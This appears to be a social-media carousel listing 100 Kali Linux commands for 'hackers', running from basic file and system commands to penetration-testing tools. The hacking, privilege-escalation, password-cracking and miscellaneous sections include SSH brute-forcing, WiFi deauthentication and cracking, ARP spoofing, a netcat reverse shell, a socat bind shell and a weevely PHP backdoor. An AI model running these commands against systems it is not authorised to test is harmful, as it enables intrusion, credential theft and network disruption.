
100 KALI LINUX
COMMANDS EVERY
HACKER MUST KNOW
PART 01
Swipe >

01. Basic Linux Commands

1. **pwd** – Print current working directory
2. **ls** – List files in a directory
3. **cd** – Change directory
4. **mkdir <dir>** – Create a directory
5. **rm <file>** – Remove a file
6. **rm -r <dir>** – Remove a directory
7. **cp <src> <dest>** – Copy files
8. **mv <src> <dest>** – Move/rename files
9. **touch <file>** – Create an empty file
10. **cat <file>** – View file contents
11. **nano <file>** – Edit a file using Nano
12. **vim <file>** – Edit a file using Vim
13. **find / -name <filename>** – Search for a file
14. **grep "text" <file>** – Search for text in a file
15. **history** – Show command history

02. System Information Commands

16. **uname -a** – Show system information
17. **whoami** – Display current user
18. **id** – Display user ID and group ID
19. **uptime** – Show system uptime
20. **df -h** – Display disk usage
21. **du -sh <dir>** – Show size of a directory
22. **top** – Display active processes
23. **ps aux** – List running processes
24. **kill <PID>** – Terminate a process
25. **htop** – Interactive process manager

03. User Management Commands

26. **adduser <username>** – Add a new user
27. **deluser <username>** – Delete a user
28. **passwd <username>** – Change password
29. **usermod -aG sudo <username>** – Grant sudo access
30. **groups <username>** – Show groups of a user
31. **chmod 777 <file>** – Change file permissions
32. **chown user:group <file>** – Change file owner

04. Networking Commands

33. **ifconfig** – Show network interfaces
34. **ip a** – Display IP address
35. **iwconfig** – Show wireless interfaces
36. **ping <IP>** – Test network connectivity
37. **netstat -tulnp** – Show open ports
38. **nmap <IP>** – Scan a target for open ports
39. **traceroute <IP>** – Trace route to a host
40. **curl <URL>** – Fetch data from a URL
41. **wget <URL>** – Download a file
42. **dig <domain>** – Get DNS information
43. **nslookup <domain>** – Perform DNS lookup

05. Hacking & Penetration Testing Commands

44. **msfconsole** – Start Metasploit
45. **msfvenom** – Generate payloads
46. **searchsploit <exploit>** – Search for exploits
47. **sqlmap -u <URL> --dbs** – SQL injection testing
48. **hydra -l user -P pass.txt <IP> ssh** – Bruteforce SSH
49. **john --wordlist=rockyou.txt hash.txt** – Crack hashes
50. **airmon-ng start wlan0** – Enable monitor mode
51. **airodump-ng wlan0mon** – Capture wireless packets
52. **aireplay-ng -0 10 -a <BSSID> wlan0mon** – Deauthenticate clients
53. **aircrack-ng -w rockyou.txt -b <BSSID> <capture_file>** – Crack WiFi password
54. **hashcat -m 2500 hash.txt rockyou.txt** – Crack hashes using GPU
55. **ettercap -T -q -i eth0** – Perform ARP spoofing
56. **driftnet -i eth0** – Capture images from network traffic
57. **tcpdump -i eth0** – Capture network packets
58. **tshark -i eth0** – Network traffic analysis
59. **nikto -h <URL>** – Scan web servers for vulnerabilities
60. **gobuster dir -u <URL> -w /usr/share/wordlists/dirb/common.txt** – Directory brute force
61. **wpscan --url <URL>** – Scan WordPress for vulnerabilities

06. Privilege Escalation & Post-Exploitation

62. **sudo -l** – Check sudo privileges
63. **sudo su** – Switch to root user
64. **python -c 'import pty; pty.spawn("/bin/bash")'** – Upgrade shell
65. **nc -lvnp <port>** – Start a Netcat listener
66. **nc <IP> <port> -e /bin/bash** – Reverse shell
67. **meterpreter> getuid** – Show current user in Meterpreter
68. **meterpreter> getsystem** – Attempt privilege escalation
69. **meterpreter> upload / download <file>** – Transfer files
70. **meterpreter> shell** – Get system shell
71. **linux-exploit-suggester** – Suggest privilege escalation exploits

07. File & Data Encryption

72. **gpg -c <file>** – Encrypt a file
73. **.gpg -d <file.gpg>** – Decrypt a file
74. **openssl enc -aes-256-cbc -salt -in <file> -out <file.enc>** – Encrypt using OpenSSL
75. **openssl enc -d -aes-256-cbc -in <file.enc> -out <file>** – Decrypt file

08. Forensics & Steganography

76. **strings <file>** – Extract strings from a file
77. **binwalk <file>** – Analyze binaries
78. **foremost -i <image>** – Extract files from an image
79. **exiftool <file>** – View metadata of a file
80. **stegseek <stegfile>** – Detect hidden data in images

09. Password & Hash Cracking

81. **hashid <hash>** – Identify hash type
82. **hydra -L users.txt -P passwords.txt ssh://<IP>** – Brute-force SSH
83. **john hash.txt --wordlist=rockyou.txt** – Crack password hashes

10. Web Application Testing

84. **dirb <URL>** – Directory enumeration
85. **wfuzz -c -z file,wordlist.txt --hc 404 <URL>/FUZZ** – Web fuzzing
86. **xsssniper -u <URL>** – Test for XSS
87. **commix --url <URL>** – Command injection testing
88. **burpsuite** – Start Burp Suite for testing

Miscellaneous

89. **crunch 8 8 abcdefghijklmnopqrstuvwxyz** – Generate a wordlist
90. **proxychains nmap -sT -Pn <IP>** – Use proxychains with Nmap
91. **tor** – Start Tor service
92. **mitmproxy** – Start man-in-the-middle proxy
93. **setoolkit** – Start Social Engineering Toolkit
94. **cewl -w words.txt -d 5 <URL>** – Generate a custom wordlist
95. **weevely generate password backdoor.php** – Create a web backdoor
96. **socat TCP-LISTEN:4444,fork EXEC:/bin/bash** – Bind shell
97. **whois <domain>** – Get domain information
98. **theHarvester -d <domain> -l 100 -b google** – Gather email and subdomain information
99. **fcrackzip -u -D -p rockyou.txt <file.zip>** – Crack ZIP passwords
100. **dnscan -d <domain>** – Discover subdomains